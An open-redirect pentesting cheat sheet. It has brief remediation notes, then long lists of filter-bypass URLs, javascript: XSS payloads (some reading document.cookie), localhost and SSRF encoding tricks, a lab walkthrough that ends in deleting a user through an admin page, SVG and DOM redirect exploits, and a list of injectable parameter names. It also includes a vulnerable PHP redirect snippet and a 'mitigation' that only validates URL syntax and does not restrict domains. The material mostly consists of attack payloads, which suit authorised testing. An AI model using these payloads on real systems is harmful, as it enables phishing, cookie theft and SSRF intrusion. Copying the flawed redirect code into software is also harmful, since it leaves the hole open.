Open Redirect

  • Open Redirection in the POST method

    • Summary

      🐞 Open Redirection vulnerability in a POST parameter. Open redirect occurs when a web page is being redirected to another URL in another domain via a user-controlled input.

    • Impact

      🐞 Because the vulnerability can be only exploited via POST requests, its impact is very limited and it cannot be directly used for common Open Redirect attacks such as phishing.

    • Remediation

      🐞 **Remediation**

      • If you definitely need dynamic URLs, use whitelisting. Make a list of valid, accepted URLs and do not accept other URLs.

      • Where possible, do not use users' input for URLs.

      • Ensure that you only accept URLs those are located on the trusted domains.

  • Bypasses Payloads

    https://allow_domain.hahwul.com
https://allow_domain@hahwul.com
https://www.hahwul.com#allow_domain
https://www.hahwul.com?allow_domain
https://www.hahwul.com\\allow_domain
https://www.hahwul.com&allow_domain
http:///////////www.hahwul.com
http:\\\\www.hahwul.com
http:\\/\\/www.hahwul.com
# if target accept only google.com
https://google.com/amp/s/poc.attacker.com

  • Open Redirect to XSS

    javascript:alert(1)
java%00script: 
java%0Ascript: 
java&tab;script:
java%0Ascript:al%0Aert()
java%0d%0ascript%0d%0a:alert(0)
javascript://%250Aalert(1)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\\j\\av\\a\\s\\cr\\i\\pt\\:\\a\\l\\ert\\(1\\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
%26%2302java%26%23115cript:alert(document.domain)
javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.domain
javascript:alert(1)
javascript:%61lert(1)
javascript:&#37&#54&#49lert(1)
javascript:%26%2337%26%2354%26%2349lert(1)
javascript%3avar{a%3aonerror}%3d{a%3aalert}%3bthrow%2520document.cookie

  • Open Redirect to SSRF

    • Lab: SSRF with filter bypass via open redirection vulnerability | Web Security Academy (portswigger.net)

      1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater.

      2. Try tampering with the stockApi parameter and observe that it isn't possible to make the server issue the request directly to a different host.

      3. Click "next product" and observe that the path parameter is placed into the Location header of a redirection response, resulting in an open redirection.

      4. Create a URL that exploits the open redirection vulnerability, and redirects to the admin interface, and feed this into the stockApi parameter on the stock checker:/product/nextProduct?path=http://192.168.0.12:8080/admin

      5. Observe that the stock checker follows the redirection and shows you the admin page.

      6. Amend the path to delete the target user:/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos

    • Redirect to localhost or arbitrary domains

      # Localhost
<http://127.0.0.1:80>
<http://127.0.0.1:443>
<http://127.0.0.1:22>
<http://127.1:80>
<http://127.000000000000000.1>
<http://0>
http:@0/ --> <http://localhost/>
<http://0.0.0.0:80>
<http://localhost:80>
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
<http://①⑑⑦.β“ͺ.β“ͺ.β“ͺ>

# CDIR bypass
<http://127.127.127.127>
<http://127.0.1.3>
<http://127.0.0.0>

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
<http://2130706433/> = <http://127.0.0.1>
<http://3232235521/> = <http://192.168.0.1>
<http://3232235777/> = <http://192.168.1.1>

# Octal Bypass
<http://0177.0000.0000.0001>
<http://00000177.00000000.00000000.00000001>
<http://017700000001>

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
<http://0x7f000001/> = <http://127.0.0.1>
<http://0xc0a80014/> = <http://192.168.0.20>
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# <https://www.silisoftware.com/tools/ipconverter.php>

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
<http://0/>
<http://127.1>
<http://127.0.1>

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
<http://customer1.app.localhost.my.company.127.0.0.1.nip.io>
<http://bugbounty.dod.network> = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

    • Open-redirection leads to a bounty | by Pratik Dabhi | InfoSec Write-ups (infosecwriteups.com)

  • Code Examples

    • .Net

      response.redirect("~/mysafe-subdomain/login.aspx")

    • Java

      response.redirect("<http://mysafedomain.com>");

    • PHP

      <?php
/* browser redirections*/
header("Location: <http://mysafedomain.com>");
exit;
?>
      <?php
$redirect_url = $_GET['redirect_url'];
header('Location: ' . $redirect_url);
?>

  • Mitigation code

    <?php
$redirect_url = $_GET['redirect_url'];
$redirect_url = filter_var($redirect_url, FILTER_VALIDATE_URL);
if (!filter_var($redirect_url, FILTER_VALIDATE_URL)) {
    // The URL is not valid, so do not redirect
} else {
    // The URL is valid, so redirect the user
    header('Location: ' . $redirect_url);
}
?>

  • Open Redirect when uploading svg files

    <code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='<http://www.google.com>'"
xmlns="<http://www.w3.org/2000/svg>">
</svg>
</code>

  • Open Redirect when uploading svg files

    <code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='<http://www.google.com>'"
xmlns="<http://www.w3.org/2000/svg>">
</svg>
</code>

  • DOM-based open redirection

    Vulnerable code

    <a href='#' onclick='returnUrl = /url=(https?:\\/\\/.+)/.exec(location); if(returnUrl)location.href = returnUrl[1];else location.href = "/"'>Back to Blog</a>

    Exploit

    https://<target.com>/post?postId=4&url=https://exploit-0ad70038030eccda80ecd9d801610038.exploit-server.net/

  • Common injection parameters

    /{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@<https://c1h2e1.github.io>
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//<https://c1h2e1.github.io>
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:<https://c1h2e1.github.io>
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

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